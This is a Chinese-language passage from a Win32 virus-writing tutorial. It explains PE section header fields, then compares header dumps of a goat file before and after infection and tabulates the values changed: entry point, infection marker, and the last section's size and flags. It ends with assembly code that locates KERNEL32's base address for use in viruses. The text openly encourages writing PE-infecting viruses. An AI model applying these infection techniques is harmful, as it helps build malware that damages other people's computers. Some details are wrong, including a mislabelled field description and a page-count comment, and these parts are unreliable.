Virtual Size:
这个域在EXE或者OBJ中有不同的意思。在一个EXE中,它存储代码或者数据的实际大小。这个大小是在把文件凑整到文件对齐大小的倍数之前的大小。后面的SizeOfRawData域(看起来有点用词不当)存储的是凑整之后的值。Borland的连接器把这两个域的意思颠倒过来了,看起来是正确的。对于OBJ文件,这个域表示节的物理地址。第一个节是从地址0开始的。为了寻找在一个OBJ文件中的下一个节的物理地址,把当前节的物理地址加上SizeOfRawData值就可以了。
Virtual Address:
在EXE中,这个域指装载器应该对节进行映射的RVA。为了计算一个给定的节在内存中的真正起始地址,把映象的基址加上存储在这个域中的VirtualAddress就可以了。利用Microsoft的工具,第一个节的缺省的RVA为0x1000。在OBJ文件中,这个域是没有意义的并设置成0。
Size Of Raw Data:
在EXE中,这个域包含了节在按文件对齐大小凑整之后的大小。例如,假设一个文件的对齐大小为0x200,如果上述的VirtualSize域的节的长度为0x35A,这个域就会以0x400作为节长。在OBJ文件中,这个域包含了由编译器或汇编程序所设置的精确大小。也就是说,对于OBJ文件来说,它等于EXE中的VirtualSize域的值。
Pointer To Raw Data:
这是节基于文件的偏移量,原始数据是由编译器或汇编器设置的。如果你的程序内存映射了一个PE文件或者COFF文件本身(而不是由操作系统来装载它),这个域比VirtualAddress域重要。在这种情况下,你将会拥有完全的线形文件映射,所以你将会发现在这个偏移地址出的节的数据,而不是在VirtualAddress处的特定RVA。
Pointer To Relocations
在OBJ文件中这个是节基于文件的偏移量的重定位信息,对于每一个节的重定位信息直接跟在那个节的原始数据后面。在EXE文件中这个域(和子域)是没有意义的并设置成0。当连接器产生EXE文件的时候,它解决了大多数的修正问题,只剩基址重定位和输入函数。关于基址重定位和输入函数的信息是保存在它们自己的节中,所以没有必要使一个EXE文件的每一个节的重定位数据在原始节数据后面。
Pointer To Line Numbers:
这是基于文件的行号表的偏移量,一个行号表使源文件的行号和一个给定的行所产生的代码地址相关联。在现代的调试格式如CodeView格式中,行号信息是作为调试信息的一部分存储的。在COFF调试格式中,然而,行号信息是和符号名/符号类型分开存储的。通常,只有code节(如.text)有行号。在EXE文件中,行号是在节的raw data(原始数据)之后向文件尾累加的。在OBJ文件中,一个节的行号表是在原始节数据和这个节的重定位表之后开始的。
Number Of Relocations:
在节的行号表中的行号的数值(上面的PointerToLinenumbers域)。
Characteristics:
大多数程序员叫做标志(flag),在COFF/PE格式中叫做特征(characterstic)。这个域是一些表面节属性(如代码/数据,可读,或可写)的标志。要看所有可能的节属性的列表,看看定义在WINNT.H中的IMAGE_SCN_XXX_XXX。下面给出一些比较重要的标志:
0x00000020 这个节包含代码。通常和可执行标志(0x80000000)联合设置。
0x00000040 这个节包含了初始化了的数据(initialized data)。除了可执行和.bss节之外几乎所有的节都有这个标志。
0x00000080 这个节包含了未初始化的数据(uninitialized data),如.bss节。
0x00000200 这个节包含了一些注释或者一些其它类型的信息。这个节的一个典型利用是由编译器所设置的.drectve节,这个节包含了连接器的命令。
0x00000800 这个节的内容是不应该放在最终的EXE文件中的。这些节被编译器/汇编器用来传递信息给连接器。
0x02000000 在它被装载之后,进程就不再需要它了,这个节就可以被丢弃。最普通的可丢弃的节是基址重定位节(.reloc)。
0x10000000 这个节是可共享的。当使用一个DLL时,这个节中的数据将会通过DLL来给所有的进程共享。数据节的默认是不共享的。用更专业的术语,一个共享节告诉内存管理器设置这个节的页映射使得所有使用这个DLL的进程指向内存中的同一个物理页。要使一个节可共享的,在连接的时候使用共享(SHARED)属性。如:
LINK /SECTION:MYDATA,RWS...
就告诉了连接器一个叫做MYDATA的节是可读的,可写的,而且是共享的。
0x20000000 这个节是可执行的。这个标志通常在"包含代码"的标志(0x00000020)被设置后设置。
0x40000000 这个节是可读的。这个标志几乎在EXE文件的所有节中都被设置。
0x80000000 这个节是可写的。如果这个标志在一个EXE文件的节中没有被设置,装载器就会标志内存映射页为只读的或只能执行的。有这个属性的典型的节是.data和.bss。有趣的是,.idata节也设置了这个属性。
%要改变的东西%
~~~~~~~~~~~~~~
下面,我将介绍在编写一个普通的PE病毒时的一些改变。假设你要编写一个会增加PE文件的最后一个节内容的病毒,这个在我们看来更容易成功的技术,然而添加一个节更容易。让我们看看一个病毒是怎么来改变一个可执行文件的头。我使用了Lord Julus[SLAM]的INFO-PE程序。
-------- DOS INFORMATION ---------------------------------------------------
Analyzed file: GOAT002.EXE
DOS Reports:
?File Size - 2000H (08192d)
?File Time - 17:19:46 (hh:mm:ss)
?File Date - 11/06/1999 (dd/mm/yy)
?Attributes : Archive
[...]
-------- PE Header ----------------------------------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖
|0100H |0000H | PE Header Signature - PE/0/0
|0104H |0004H | The machine for this EXE is Intel 386 (value = 014CH)
|0106H |0006H | Number of sections in the file - 0004H
|0108H |0008H | File was linked at : 23/03/2049
|010CH |000CH | Pointer to Symbol Table : 00000000H
|0110H |0010H | Number of Symbols : 00000000H
|0114H |0014H | Size of the Optional Header : 00E0H
| | |
|0116H |0016H | File Characteristics - 818EH :
| | | ?File is executable
| | | ?Line numbers stripped from file
| | | ?Local symbols stripped from file
| | | ?Bytes of machine word are reversed
| | | ?32 bit word machine
| | | ?Bytes of machine word are reversed
‖_______|_____‖
-------- PE Optional Header -----------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖
|0118H |0018H | Magic Value : 010BH (`Θ`)
|011AH |001AH | Major Linker Version : 2
|011BH |001BH | Minor Linker Version : 25
| | | Linker Version : 2.25
|011CH |001CH | Size of Code : 00001200H
|0120H |0020H | Size of Initialized Data : 00000600H
|0124H |0024H | Size of Uninitialized Data : 00000000H
|0128H |0028H | Address of Entry Point : 00001000H
|012CH |002CH | Base of Code (.text ofs.) : 00001000H
|0130H |0030H | Base of Data (.bss ofs.) : 00003000H
|0134H |0034H | Image Base : 00400000H
|0138H |0038H | Section Alignment : 00001000H
|013CH |003CH | File Alignment : 00000200H
|0140H |0040H | Major Operating System Version : 1
|0142H |0042H | Minor Operating System Version : 0
|0144H |0044H | Major Image Version : 0
|0146H |0046H | Minor Image Version : 0
|0148H |0048H | Major SubSystem Version : 3
|014AH |004AH | Minor SubSystem Version : 10
|014CH |004CH | Reserved Long : 00000000H
|0150H |0050H | Size of Image : 00006000H
|0154H |0054H | Size of Headers : 00000400H
|0158H |0058H | File Checksum : 00000000H
|015CH |005CH | SubSystem : 2
| | | Image runs in the Windows GUI subsystem
|015EH |005EH | DLL Characteristics : 0000H
|0160H |0060H | Size of Stack Reserve : 00100000H
|0164H |0064H | Size of Stack Commit : 00002000H
|0168H |0068H | Size of Heap Reserve : 00100000H
|016CH |006CH | Size of Heap Commit : 00001000H
|0170H |0070H | Loader Flags : 00000000H
|0174H |0074H | Number Directories : 00000010H
[...]
------- PE Section Headers ---------------------------------
---------------------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖[...]
|0270H |0170H | Section name : .reloc
|0278H |0178H | Physical Address : 00001000H
|027CH |017CH | Virtual Address : 00005000H
|0280H |0180H | Size of RAW data : 00000200H
|0284H |0184H | Pointer to RAW data : 00001C00H
|0288H |0188H | Pointer to relocations : 00000000H
|028CH |018CH | Pointer to line numbers : 00000000H
|0290H |0190H | Number of Relocations : 0000H
|0292H |0192H | Number of line numbers : 0000H
|0294H |0194H | Characteristics : 50000040H
| | | ?Section contains initialized data.
| | | ?Section is shareable.
| | | ?Section is readable.
| | |
‖______|______‖
-------DOS INFORMATION -------------------------------------------------
Analyzed file: GOAT002.EXE
DOS Reports:
?File Size - 2600H (09728d)
?File Time - 23:20:58 (hh:mm:ss)
?File Date - 22/06/1999 (dd/mm/yy)
?Attributes : Archive
[...]
-------PE Header-------------------------------------------------------
----------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|-------‖
|0100H |0000H | PE Header Signature - PE/0/0
|0104H |0004H | The machine for this EXE is Intel 386 (value = 014CH)
|0106H |0006H | Number of sections in the file - 0004H
|0108H |0008H | File was linked at : 23/03/2049
|010CH |000CH | Pointer to Symbol Table : 00000000H
|0110H |0010H | Number of Symbols : 00000000H
|0114H |0014H | Size of the Optional Header : 00E0H
| | |
|0116H |0016H | File Characteristics - 818EH :
| | | -File is executable
| | | -Line numbers stripped from file
| | | -Local symbols stripped from file
| | | -Bytes of machine word are reversed
| | | -32 bit word machine
| | | -Bytes of machine word are reversed
|______|_______|
---------PE Optional Header---------------------------------------
-----------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖-------|-------‖
|0118H |0018H | Magic Value : 010BH
|011AH |001AH | Major Linker Version : 2
|011BH |001BH | Minor Linker Version : 25
| | | Linker Version : 2.25
|011CH |001CH | Size of Code : 00001200H
|0120H |0020H | Size of Initialized Data : 00000600H
|0124H |0024H | Size of Uninitialized Data : 00000000H
|0128H |0028H | Address of Entry Point : 00005200H
|012CH |002CH | Base of Code (.text ofs.) : 00001000H
|0130H |0030H | Base of Data (.bss ofs.) : 00003000H
|0134H |0034H | Image Base : 00400000H
|0138H |0038H | Section Alignment : 00001000H
|013CH |003CH | File Alignment : 00000200H
|0140H |0040H | Major Operating System Version : 1
|0142H |0042H | Minor Operating System Version : 0
|0144H |0044H | Major Image Version : 0
|0146H |0046H | Minor Image Version : 0
|0148H |0048H | Major SubSystem Version : 3
|014AH |004AH | Minor SubSystem Version : 10
|014CH |004CH | Reserved Long : 43545A41H
|0150H |0050H | Size of Image : 00006600H
|0154H |0054H | Size of Headers : 00000400H
|0158H |0058H | File Checksum : 00000000H
|015CH |005CH | SubSystem : 2
| | | -Image runs in the Windows GUI subsystem
|015EH |005EH | DLL Characteristics : 0000H
|0160H |0060H | Size of Stack Reserve : 00100000H
|0164H |0064H | Size of Stack Commit : 00002000H
|0168H |0068H | Size of Heap Reserve : 00100000H
|016CH |006CH | Size of Heap Commit : 00001000H
|0170H |0070H | Loader Flags : 00000000H
|0174H |0074H | Number Directories : 00000010H
|_______|_______|
[...]
----------PE Section Headers---------------------------------------
-----------------
‖O_DOS | O_PE ‖(Offset from Dos Header / PE Header
‖-------|-------‖[...]
|0270H | 0170H | Section name : .reloc
|0278H | 0178H | Physical Address : 00001600H
|027CH | 017CH | Virtual Address : 00005000H
|0280H | 0180H | Size of RAW data : 00001600H
|0284H | 0184H | Pointer to RAW data : 00001C00H
|0288H | 0188H | Pointer to relocations : 00000000H
|028CH | 018CH | Pointer to line numbers : 00000000H
|0290H | 0190H | Number of Relocations : 0000H
|0292H | 0192H | Number of line numbers : 0000H
|0294H | 0194H | Characteristics : F0000060H
| | | -Section contains code.
| | | -Section contains initialized data.
| | | -Section is shareable.
| | | -Section is executable.
| | | -Section is readable.
| | | -Section is writeable.
| | |
|_______|_______|
--------------------------------------------------------------------------------
好了,我希望这已经帮助你更理解在通过增加它的最后一节来感染PE文件的时候,做了些什么。为了避免你在比较这些每一个表时花更多的精力,我给出了一个列表:
==============================================================
| Values to change |Before |After |Location |
==============================================================
|Address Of Entrypoint |00001000h |00005200h |Image File Hdr |
--------------------------------------------------------------
|Reserved1 (inf. mark) |00000000h |43545A41h |Image File Hdr |
--------------------------------------------------------------
|Virtual Size |00001000h |00001600h |Section header |
--------------------------------------------------------------
|Size Of Raw Data |00000200h |00001600h |Section header |
--------------------------------------------------------------
|Characteristics |50000040h |F0000060h |Section header |
--------------------------------------------------------------
实现这个的代码非常简单。对于那些没有看到代码还没有理解的人,可以看看Win32.Aztec,在下一章将详细描述。
【Ring-3,在用户级下编程】
~~~~~~~~~~~~~~~~~~~~~~~~~~
嗯,用户级给了我们所有人很多令人压抑和不方便的限制,这是正确的,这妨碍了我们所崇拜的自由,这种我们在编写DOS病毒时所感受到的自由。但是,伙计,这就是生活,这就是我们的悲哀,这就是Micro$oft。Btw,这是唯一的(当今)能够完全Win32兼容的病毒的方法,而且这个环境是未来,正如你必须知道的。首先,让我们看看怎么用一种非常简单的方法来获得KERNEL32的基址(为了Win32兼容性):
%获得KERNEL32基址的一个简单方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如你所知道的,当我们在执行一个应用程序的时候,代码是从KERNEL32 "call"一部分代码的(也就像KERNEL调用我们的代码一样)。而且,如果你还记得的话,当一个call调用之后,返回的地址是在堆栈里(即,在由ESP所指定的内存地址里的)的。让我们看看关于这个的一个实际例子:
;---------------从这里开始剪切---------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
.data ; Some data (needed by TASM32/TLINK32)
db ?
.code
start:
mov eax,[esp] ; Now EAX would be BFF8XXXXh (if w9X)
; ie, somewhere inside the API
; CreateProcess :)
ret ; Return to it ;)
end start
;------------到这里为止剪切--------------------------------------------------
相当简单。我们在EAX中得到一个值大约为BFF8XXXX(XXXX是一个不重要的值,这里这么写是因为不需要精确地知道它,再也不要拿那些无聊的东西来烦我了:))。因为Win32平台通常会对齐到一个页,我们可以搜索任何一个页的开头,而且因为KERNEL32头就在一个页的开头,我们能够很轻松地检查它。而且当我们找到我现在正在讨论的PE头的时候,我们就知道了KERNEL32的基址。嗯,作为限制,我们可以以50h页为限。呵呵,不要担心,下面是一些代码:)
;--------从这里开始剪切------------------------------------------------
.586p
.model flat
extrn ExitProcess:PROC
.data
limit equ 5
db 0
;--------------------------------------
; 没有用而且没有意义的数据 :) ;
;--------------------------------------
.code
test:
call delta
delta:
pop ebp ;返回CALL 的返回地址
sub ebp,offset delta ;与返回地址相减为0
mov esi,[esp] ;返回CALL 的返回地址
and esi,0FFFF0000h ;将你16位清零 高16位保持不变
call GetK32
push 00000000h
call ExitProcess
;-------------------------------------
; 呃,我认为你至少是一个普通ASM程序员, 所以我假定你知道指令的第一块是为了获得
; 地址偏移变化量(特别在这个例子里面不需要,然而,我喜欢使得它就像我们的病毒代码)。
; 第二块是我们所感兴趣的东西。我们把我们的程序开始调用的地址放在ESI中,即由ESP
; 所显示的地址(当然是如果我们在程序装载完后没有碰堆栈的情况下)。第二个指令,那个
; AND,是为了获得我们的代码正在调用的页的开头。我们调用我们的例程,在这之后,我
; 们结束处理:)
;-------------------------------------
GetK32:
__1:
cmp byte ptr [ebp+K32_Limit],00h
jz WeFailed ;等于零转移到 WeFailed
cmp word ptr [esi],"ZM"
jz CheckPE ;如果为PE头转移动 CheckPE
__2:
sub esi,10000h ;esi为当前返回的页地址 向前移动10000h (10页 每一页 1000h长)
dec byte ptr [ebp+K32_Limit] ;计数器减 1;
jmp __1
;-------------------------------------
; 首先我们检查我们是否已经达到了我们的极限(50页)。在这之后,我们检查是否在页的开
; 头(它应该是)是否为MZ标志,而且如果找到了,我们继续检查PE头。如果没有,我们减
; 去10页(10000h字节),我们增加限制变量,再次搜索
;-------------------------------------
CheckPE:
mov edi,[esi+3Ch] ;当前页首址+3Ch 对PE头进行检查取3CH处的PE头的偏移地址
add edi,esi ;偏移地址+基地址
cmp dword ptr [edi],"EP" ;比较内容是否是"EP"
jz WeGotK32 ;如果是转移到W
jmp __2
WeFailed:
mov esi,0BFF70000h
WeGotK32:
xchg eax,esi
ret
K32_Limit dw limit
;--------------------------------------
; 我们在MZ头开始后的偏移地址3CH处得到值(存着从哪儿开始PE头的RVA),我们把这个
; 值和页的地址规范化,而且如果从这个偏移地址处的内存地址标志是PE标志,我们就假
; 设已经找到了...而且我们确实是找到了!
;--------------------------------------
end test
;--------到这里为止剪切-----------------------------------------------------
一个建议:我测试了它,而且在Win98下和WinNT4 SP3下面没有给我们任何类型的问题,然而,我不知道在其它任何地方会发生什么,我建议你使用SEH来避免可能的页错误(和它们相关的蓝屏)。SEH将会在后面介绍。嗨,Lord Julus在他的教程里面所使用的方法(在感染文件里面搜索GetModuleHandleA函数)并不能很好地满足我的需要,无论如何,我将给出那个我自己版本的代码,在那里我将解释怎么来玩输入函数。例如,它在per-process驻留病毒里面要用到,在这个例程里面有一小点改变:)